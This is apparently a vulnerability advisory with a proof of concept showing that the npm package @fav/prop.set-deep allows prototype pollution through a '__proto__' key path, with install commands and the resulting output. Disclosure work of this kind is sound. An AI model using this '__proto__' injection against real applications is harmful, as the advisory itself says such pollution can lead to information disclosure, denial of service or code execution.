vulnerability prototype pollution
severity 6.5
language javascript
registry npm


@fav/prop.set-deep is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var setDeep = require("@fav/prop.set-deep")

var obj = {};
console.log("Before: " + {}.polluted);
setDeep(obj, ["__proto__", "polluted"], "Yes, its polluted")
console.log("After: ", {}.polluted);
  1. Execute the following commands in the terminal:
npm i @fav/prop.set-deep # install vulnerable package
node poc.js # run the PoC
  1. Check the output:
Before: undefined
After: Yes, its polluted


Prototype Pollution leads to Information Disclosure/DoS/RCE.